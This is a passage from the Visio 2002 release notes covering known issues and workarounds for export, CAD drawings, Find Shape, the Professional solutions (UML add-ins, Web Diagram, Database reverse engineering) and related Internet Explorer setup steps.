A Visio 2002 file may be exported incorrectly to the graphic formats listed above when the file contains Asian, Arabic, or Eastern European text.

When saving a Visio drawing to one of the formats listed above, and using Visio with Windows 2000, the following error may occur: "An error (920) occurred during the action Save As. An error occurred. Visio is unable to complete exporting." To work around this problem, first check to make sure there is enough space on your hard disk to save the file, and then remove fill patterns or adjust the transparency of objects on the page as follows:

1.Select the object on the Visio drawing page.

2.On the Format menu, click Fill.

3.Either set the pattern option to None, or set the fill transparency to a value other than 0%. If the transparency option is already greater than 0%, the shape is probably not causing the export problem.

4.In the Fill dialog box, click OK.

5.Save your drawing as a normal Visio file (*.vsd), and then quit Visio.

6.Restart Visio, and open your drawing.

7.Save your drawing in the desired format.

This problem does not occur when Visio is used on Windows 98, Windows ME, or Windows NT 4.0.

CAD Drawings in Visio

Following are current issues with CAD drawings in Visio:

CAD drawing round-tripping is limited. Users can open and view legacy CAD drawings in Microsoft Visio, as well as save those drawings as Visio drawings (VSD files). In the VSD file, the CAD entities are converted to Visio shapes. If the VSD file is then saved as a CAD file (i.e., round-tripped back to the original file format), the Visio shapes do not convert back to CAD entities.

Existing Visio 2000 drawings that include a CAD object may appear differently when opened in Visio 2002, if the original DWG was saved in paper space. Visio 2000 did not support the paper space view, so Visio 2000 displayed the last model space view. Visio now supports paper space, and will display this view when the file is opened.

The Visio 2002 DGN component will only support English, Western European, and Kanji character sets.

Find Shape

Following are current issues with the Find Shape feature:

If you install Visio 2002 on Windows 98, Microsoft Visio Setup may prompt you to update your version of Internet Explorer. If you choose not to update Internet Explorer, the borders around the shapes in the Find Shape results window may not be completely drawn. Follow these instructions to update your installation of Internet Explorer:

1.Insert the Visio CD into your computer's CD-ROM drive. Click Cancel in the first Microsoft Visio Setup screen that appears.

2.In Windows, click the Start button and then click Run.

3.In the Open box, type x:setup /spforce, where x is the drive letter of your CD-ROM drive, and then press ENTER to launch Setup.

4.If, during Setup, you are asked if you wish to install Internet Explorer 5.0, you must respond by clicking Yes.

5.Once Setup completes, restart Visio.

On Windows 98 and ME, if the Find Shape window is floating and you perform a search, the Find Shape window may become hidden. Click on the document window and the Find Shape window will reappear.

On Windows 98 and ME, if the Find Shape window is floating and you click Options, the Options dialog box may become hidden. Press ENTER or ESC on your keyboard to dismiss the hidden dialog box. Right-click on the Find Shape window title bar and then click Dock Window. In the docked Find Shape window, click Options again to display the Options dialog box.

Issues in Visio Professional

The following issues apply only to Visio Professional 2002.

Process Engineering Solution

Migrating existing Visio 2000 PE files to Visio 2002 may take significant memory resources and time. When prompted at the start of file migration, choose to Enable Macros.

Changes to the Process Engineering (PE) solution from Visio 2000 include the following:

Elimination of a separate PE database system

Elimination of projects as a collection of drawings

Removal of datasheets as unique VSD drawing types

Conversion of database attributes to standard Visio Custom Properties

Enabling of Visio Property Reporting

Building Engineering Solution

Following are current issues in the Building Engineering (BE) solution:

Some BE shapes are not sizing properly on 1:1 drawings.

Ungroup may cause some sub-shapes to move unexpectedly.

Web Diagram Solution

Following are current issues in the Web Diagram solution:

Generating a Web site map requires that Internet Explorer version 5.0 or greater be installed on your system. If the Web Site Map template identifies your version of Internet Explorer as prior to version 5.0, then you will need to re-launch Visio Setup to force an IE5 installation. Please follow these instructions to update your installation of Internet Explorer:

1.Insert the Visio CD into your computer's CD-ROM drive. Click Cancel in the first Microsoft Visio Setup screen that appears.

2.In Windows, click the Start button and then click Run.

3.In the Open box, type x:setup /spforce, where x is the drive letter of your CD-ROM drive, and then press ENTER to launch Setup.

4.If, during Setup, you are asked if you wish to install Internet Explorer 5.0, you must respond by clicking Yes.

5.Once Setup completes, restart Visio, and then begin your Web site discovery again.

Windows NT 4.0 users can increase the speed of large Web site discovery by increasing the paging file size in Windows (see Windows Help), and then restarting the discovery.

Network Solution

Following are current issues in the Directory Services solutions, which include the Active Directory, LDAP Directory, and Novell Directory Services templates:

The Directory Services solutions will not function properly if Visio is run from a network server rather than from your computer.

Visio stops responding if VBA is turned off during a drawing session.

Software Solution

Suppressing class relationships display on a static structure diagram

To automatically turn off the display of the relationships in between classes on static structure diagrams, a new string value was created in this subkey:

HKEY_CURRENT_USERSoftwareMicrosoftVisioSolutionUML Solution

The string name is "Automatic Instance UML relationships". This string value is automatically created when the UML solution starts. The value of the string is set initially to 1. The user can change the value from 1 to 0 (using the Registry Editor) in order to turn off the automatic instancing of UML relationships. Relationships can be displayed at a later time on a shape-by-shape basis by right-clicking a shape and then clicking Show Relationships on the shortcut menu.

Using Visio 2000 and Visio 2002 UML reverse engineering add-ins on the same machine

Visio 2000 and Visio 2002 UML reverse engineering add-ins for Visual Basic 6.0 (VB6) and Visual C++ 6.0 (VC6) cannot be used simultaneously on the same machine. These add-ins are installed with the Visio UML solution. UML reverse engineering from VB6 and VC6 will not function if both Visio 2000 and Visio 2002 add-ins are enabled within Visual Studio.

To use the Visio 2000 add-ins:

1.Disable the Visio 2002 add-ins from within VB6 or VC6 (see Note below).

2.Make sure Visio 2002 is not running.

3.Run Visio 2000.

4.Enable the Visio 2000 add-ins within VB6 or VC6 (see Note below).

5.Use the add-in.

To use the Visio 2002 add-ins:

1. Disable the Visio 2000 add-ins from within VB6 or VC6 (see Note below).

2. Make sure Visio 2000 is not running.

3. Run Visio 2002.

4. Enable the Visio 2002 add-ins within VB6 or VC6 (see Note below).

5. Use the add-in.

Note: To access Visio add-ins in VB6, on the Add-Ins menu, click Add-In Manager; in VC6, on the Tools menu, point to Customize, and then click the Add-ins and Macro Files tab.

Behavior issues and remedies

·Existence of two toolbars in either VB6 or VC6 (i.e., both UML solution add-ins are currently active). User action required: Close VS and perform the corresponding five steps above to disable one of the add-ins.

·No action occurs when a toolbar button is clicked in VB6 or VC6 while Visio is minimized (i.e., Visio does not restore automatically when an operation is performed). User action required: Click the Visio icon on the Windows toolbar.

·The following dialog box message is issued by Visio 2002:

Microsoft Visio Professional 2002

Please wait while Microsoft Windows configures Visio Professional 2002.

Visio 2000 was run prior to 2002. Visio 2002 needs to update settings modified by 2000.

User action required: No action required.

·The following dialog box message is issued by VB6:

Microsoft Visual Basic

Visio 2002 UML Visual Basic add-in could not be loaded. Remove it from the list of available add-ins?

Visio 2000 was run prior to VB6 attempting to load the 2002 UML add-in. The add-in cannot be loaded, as certain settings have been modified. User action required: Click No and perform the corresponding five steps above to disable one of the add-ins.

·The following dialog box message is issued by VC6:

Microsoft Visual C++

Visio 2002 add-in in C:...umlvc60.dll

Unable to load this add-in because its server object failed to be created. This add-in will not be loaded by default in the future.

Visio 2000 was run prior to VC++ attempting to load the 2002 UML add-in. The add-in cannot be loaded as certain settings have been modified. User action required: Click OK and perform the corresponding five steps above to disable one of the add-ins.

Adjusting the font in the Windows User Interface shapes

Text within the Windows User Interface shapes appears by default as "Arial 8pt." These shapes will appear much more like Windows 2000 elements if their font is changed to Tahoma. We recommend that you first place all interface shapes in their correct positions, and then either use the mouse or CTRL+A on the keyboard to select all shapes and change their font formatting all at once.

Database Solution

Following are current issues in the Database solution:

Hyperlink fields set in a Microsoft Access database are not reverse engineered correctly.

During the reverse engineering process of a Microsoft Access database containing a table with a field set to the data type "Hyperlink," the hyperlink setting is not reflected in the database schema extracted by Visio. Instead, during database reverse engineering, a hyperlink field from an Access database is converted to a memo field in the Visio database modeling solution.

This situation occurs because in Access a hyperlink field is not a distinct data type; a hyperlink field is actually a memo data type field with a hyperlink attribute flag set. Both the memo and hyperlink fields in Access are reverse engineered in Visio as the data type LONGCHAR.

To help identify Access hyperlink fields once the database schema is transferred to Visio, you can add a comment to the field in Access before starting the reverse engineering process. Comments in Access tables appear as Notes in the Columns category of the Database Properties window in Visio.

The Sybase ODBC driver does not support reverse engineering of default values and primary key names.

During the reverse engineering process of a Sybase database containing a table with a default value defined for one of its columns, the default value will not be reverse engineered. This is due to a limitation of the Sybase ODBC driver.

During the reverse engineering process of a Sybase database containing a table with a primary key, the actual primary key name is not reverse engineered due to a limitation of the Sybase ODBC driver. Instead, the physical name of the column appears in the form: _PK, a default name automatically created by Visio. This Physical Name can be viewed in the Database Properties window, under the Primary ID category.

Microsoft Visio

End of Release Notes

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